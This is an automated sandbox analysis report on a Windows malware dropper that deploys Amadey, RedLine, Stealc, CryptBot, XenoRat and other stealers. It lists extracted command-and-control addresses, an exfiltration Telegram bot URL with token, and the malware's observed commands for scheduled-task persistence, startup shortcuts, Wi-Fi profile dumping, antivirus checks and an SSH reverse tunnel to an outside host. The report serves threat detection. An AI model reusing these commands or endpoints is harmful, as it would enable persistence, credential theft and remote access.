Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
23/09/2024, 01:12
General
- Target 524eb610c35ba8c32a1adb1ea198c7de773cb869cac232ec219f7927bac96f2a.exe
- Size 1.8MB
- Sample240923-bknfbssbrn
- SHA256 524eb610c35ba8c32a1adb1ea198c7de773cb869cac232ec219f7927bac96f2a
Malware Config
Extracted
-
amadey
-
4.41
-
fed3aa
-
http://185.215.113.16
-
install_dir
44111dbc49
-
install_file
axplong.exe
-
strings_key
8d0ad6945b1a30a186ec2d30be6db0b5
-
url_paths
/Jo89Ku7d/index.php
Extracted
-
redline
-
LiveTraffic
-
95.179.250.45:26212
Extracted
-
redline
-
@LOGSCLOUDYT_BOT
-
65.21.18.51:45580
Extracted
-
stealc
-
default2
-
http://185.215.113.17
-
url_path
/2fb6c2cc8dce150a.php
Extracted
-
stealc
-
default
-
http://91.202.233.158
-
url_path
/e96ea2db21fa9a1b.php
Extracted
-
redline
-
TG CLOUD @RLREBORN Admin @FATHEROFCARDERS
-
89.105.223.196:29862
Extracted
-
stealc
-
dear
-
http://185.215.113.103
-
url_path
/e2b1563c6670f193.php
Extracted
-
cryptbot
-
sevtvf17pt.top
-
analforeverlovyu.top
-
fivevf5vs.top
-
url_path
/v1/upload.php
Extracted
-
redline
-
newbundle2
-
185.215.113.67:15206
Extracted
-
amadey
-
4.41
-
1176f2
-
http://185.215.113.19
-
install_dir
417fd29867
-
install_file
ednfoki.exe
-
strings_key
183201dc3defc4394182b4bff63c4065
-
url_paths
/CoreOPT/index.php
Extracted
-
xenorat
-
193.149.187.135
-
Xeno_rat_nd8912d
-
delay
5000
-
install_path
appdata
-
port
4444
-
startup_name
mswindow
Extracted
-
gurcu
-
https://api.telegram.org/bot7935489665:AAE2XyOo-0CSgW-NXoz80QphaaOkmebwR5Q/sendMessage?chat_id=-4578472389
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
- Detect XenoRat Payload 2 IoCs
- Detects ZharkBot payload 3 IoCs
ZharkBot is a botnet written C++.
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 6 IoCs
- Stealc
Stealc is an infostealer written in C++.
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- XenorRat
XenorRat is a remote access trojan written in C#.
- ZharkBot
ZharkBot is a botnet written C++.
- Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
- Downloads MZ/PE file
- Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 11 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Executes dropped EXE 37 IoCs
- Identifies Wine through registry keys 2 TTPs 5 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 5 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
- Suspicious use of SetThreadContext 8 IoCs
- Drops file in Windows directory 6 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 48 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 28 IoCs
- Suspicious use of FindShellTrayWindow 4 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\524eb610c35ba8c32a1adb1ea198c7de773cb869cac232ec219f7927bac96f2a.exe"C:\Users\Admin\AppData\Local\Temp\524eb610c35ba8c32a1adb1ea198c7de773cb869cac232ec219f7927bac96f2a.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000004001\12dsvc.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\12dsvc.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\E0BIEkdeKB.exe"C:\Users\Admin\AppData\Roaming\E0BIEkdeKB.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\mrspTRqojv.exe"C:\Users\Admin\AppData\Roaming\mrspTRqojv.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\1000063001\JavvvUmar.exe"C:\Users\Admin\AppData\Local\Temp\1000063001\JavvvUmar.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\service123.exe"C:\Users\Admin\AppData\Local\Temp\service123.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f7⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exeC:\Users\Admin\AppData\Local\Temp\svchost015.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe"C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe"C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 4166⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe"C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 6076986⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "MaskBathroomCompositionInjection" Participants6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\607698\Waters.pifWaters.pif Q6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\1000429001\66f0297e9c3eb_15.exe"C:\Users\Admin\AppData\Local\Temp\1000429001\66f0297e9c3eb_15.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"8⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"8⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000430001\channel3.exe"C:\Users\Admin\AppData\Local\Temp\1000430001\channel3.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\1000431001\windowsexecutable.exe"C:\Users\Admin\AppData\Local\Temp\1000431001\windowsexecutable.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\1000432001\build.exe"C:\Users\Admin\AppData\Local\Temp\1000432001\build.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "build" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\build.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\1000432001\build.exe" &&START "" "C:\Users\Admin\AppData\Local\Starlabs\build.exe"8⤵
-
C:\Windows\system32\chcp.comchcp 650019⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 39⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "build" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\build.exe" /rl HIGHEST /f9⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Starlabs\build.exe"C:\Users\Admin\AppData\Local\Starlabs\build.exe"9⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"10⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\chcp.comchcp 6500111⤵
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles11⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\findstr.exefindstr /R /C:"[ ]:[ ]"11⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"10⤵
-
C:\Windows\system32\chcp.comchcp 6500111⤵
-
-
C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid11⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\findstr.exefindstr "SSID BSSID Signal"11⤵
-
-
-
C:\Windows\System32\OpenSSH\ssh.exe"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5442 serveo.net10⤵
-
-
C:\Users\Admin\AppData\Roaming\manager.exe"C:\Users\Admin\AppData\Roaming\manager.exe"10⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe"C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe"11⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mswindow" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6E12.tmp" /F12⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000433001\VGVG.exe"C:\Users\Admin\AppData\Local\Temp\1000433001\VGVG.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe8⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 56⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000308001\18ff1d57bd.exe"C:\Users\Admin\AppData\Local\Temp\1000308001\18ff1d57bd.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\1000314001\LummaC222222.exe"C:\Users\Admin\AppData\Local\Temp\1000314001\LummaC222222.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\1000318001\66ed86be077bb_12.exe"C:\Users\Admin\AppData\Local\Temp\1000318001\66ed86be077bb_12.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000321001\2.exe"C:\Users\Admin\AppData\Local\Temp\1000321001\2.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\1000322001\newbundle2.exe"C:\Users\Admin\AppData\Local\Temp\1000322001\newbundle2.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & echo URL="C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & exit2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4532 -ip 45321⤵
-
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exeC:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exeC:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Starlabs\build.exeC:\Users\Admin\AppData\Local\Starlabs\build.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\service123.exeC:\Users\Admin\AppData\Local\Temp\/service123.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Discovery
Browser Information Discovery
1Process Discovery
1Query Registry
7System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Wi-Fi Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
mozglue.dll
nss3.dll
RegAsm.exe.log
gold.exe
12dsvc.exe
Nework.exe
JavvvUmar.exe
stealc_default2.exe
needmoney.exe
penis.exe
acentric.exe
2.exe
splwow64.exe
crypted.exe
18ff1d57bd.exe
LummaC222222.exe
66ed86be077bb_12.exe
2.exe
newbundle2.exe
fikbbm0902845.exe
66f0297e9c3eb_15.exe
channel3.exe
build.exe
VGVG.exe
axplong.exe
550978852402
Q
Waters.pif
Asbestos
Ashley
Bet
Emotions
Ensures
Fla
Language
Navy
Participants
Rick
Streaming
Temperature
TmpB9BB.tmp
Viruses
Width
svchost015.exe
E0BIEkdeKB.exe
76b53b3ec448f7ccdda2063b15d2bfc3_30dd1cc1-5c25-4745-b2f5-cffa52b1a886
76b53b3ec448f7ccdda2063b15d2bfc3_30dd1cc1-5c25-4745-b2f5-cffa52b1a886
d3d9.dll
manager.exe
mrspTRqojv.exe
Google Chrome.lnk
Microsoft Edge.lnk
memory/216-748-0x000001A7A32C0000-0x000001A7A32E6000-memory.dmp
memory/368-93-0x0000000000270000-0x0000000000386000-memory.dmp
memory/744-668-0x0000000000400000-0x00000000005E1000-memory.dmp
memory/744-666-0x0000000000400000-0x00000000005E1000-memory.dmp
memory/744-670-0x0000000000400000-0x00000000005E1000-memory.dmp
memory/960-663-0x0000000006600000-0x00000000068A2000-memory.dmp
memory/960-664-0x00000000079D0000-0x0000000007C66000-memory.dmp
memory/960-549-0x0000000000F00000-0x0000000001946000-memory.dmp
memory/960-550-0x0000000006220000-0x00000000062BC000-memory.dmp
memory/960-665-0x0000000006130000-0x0000000006152000-memory.dmp
memory/1512-778-0x0000000005BB0000-0x0000000005BD2000-memory.dmp
memory/1512-777-0x00000000061A0000-0x000000000643C000-memory.dmp
memory/1512-776-0x0000000005EF0000-0x0000000006198000-memory.dmp
memory/1512-661-0x0000000000750000-0x00000000011E2000-memory.dmp
memory/1984-509-0x0000000000250000-0x0000000000904000-memory.dmp
memory/1984-505-0x0000000000250000-0x0000000000904000-memory.dmp
memory/2156-642-0x000000006E640000-0x000000006E77C000-memory.dmp
memory/2156-641-0x0000000000D50000-0x0000000000D61000-memory.dmp
memory/2360-143-0x0000000000400000-0x0000000000511000-memory.dmp
memory/2360-111-0x0000000000400000-0x0000000000511000-memory.dmp
memory/2360-116-0x0000000000400000-0x0000000000511000-memory.dmp
memory/2360-115-0x0000000000400000-0x0000000000511000-memory.dmp
memory/2360-113-0x0000000000400000-0x0000000000511000-memory.dmp
memory/2652-602-0x00000000062E0000-0x000000000632C000-memory.dmp
memory/2652-583-0x00000000000B0000-0x0000000000102000-memory.dmp
memory/3184-41-0x0000000000E20000-0x0000000000E74000-memory.dmp
memory/3184-40-0x000000007318E000-0x000000007318F000-memory.dmp
memory/3192-441-0x00000000007B0000-0x0000000000804000-memory.dmp
memory/3368-639-0x0000000000400000-0x000000000106F000-memory.dmp
memory/3368-662-0x0000000000400000-0x000000000106F000-memory.dmp
memory/3448-386-0x00000000084D0000-0x00000000084EA000-memory.dmp
memory/3448-332-0x0000000000D00000-0x0000000000D78000-memory.dmp
memory/3512-532-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3516-526-0x0000000000400000-0x0000000001064000-memory.dmp
memory/3516-552-0x0000000000400000-0x0000000001064000-memory.dmp
memory/3516-618-0x0000000000400000-0x0000000001064000-memory.dmp
memory/3600-292-0x0000000000400000-0x000000000081B000-memory.dmp
memory/3724-815-0x0000000000C00000-0x0000000000C14000-memory.dmp
memory/3848-786-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3848-784-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3880-188-0x0000000000910000-0x0000000000B53000-memory.dmp
memory/3880-333-0x0000000000910000-0x0000000000B53000-memory.dmp
memory/3880-192-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/3884-253-0x000000000A5F0000-0x000000000AB1C000-memory.dmp
memory/3884-252-0x0000000009EF0000-0x000000000A0B2000-memory.dmp
memory/3884-151-0x0000000000660000-0x00000000006F2000-memory.dmp
memory/3908-250-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-551-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-190-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-189-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-525-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-615-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-251-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-640-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-383-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-20-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-17-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-671-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-18-0x0000000000A51000-0x0000000000A7F000-memory.dmp
memory/3908-19-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3908-21-0x0000000000A50000-0x0000000000F17000-memory.dmp
memory/3912-269-0x0000000007640000-0x0000000007690000-memory.dmp
memory/3912-148-0x0000000000850000-0x00000000008A2000-memory.dmp
memory/4032-287-0x0000000000400000-0x0000000000643000-memory.dmp
memory/4032-291-0x0000000000400000-0x0000000000643000-memory.dmp
memory/4032-384-0x0000000000400000-0x0000000000643000-memory.dmp
memory/4032-290-0x0000000000400000-0x0000000000643000-memory.dmp
memory/4112-354-0x0000000000A20000-0x0000000000ACE000-memory.dmp
memory/4436-623-0x0000000004A20000-0x0000000004A91000-memory.dmp
memory/4436-625-0x0000000004A20000-0x0000000004A91000-memory.dmp
memory/4436-624-0x0000000004A20000-0x0000000004A91000-memory.dmp
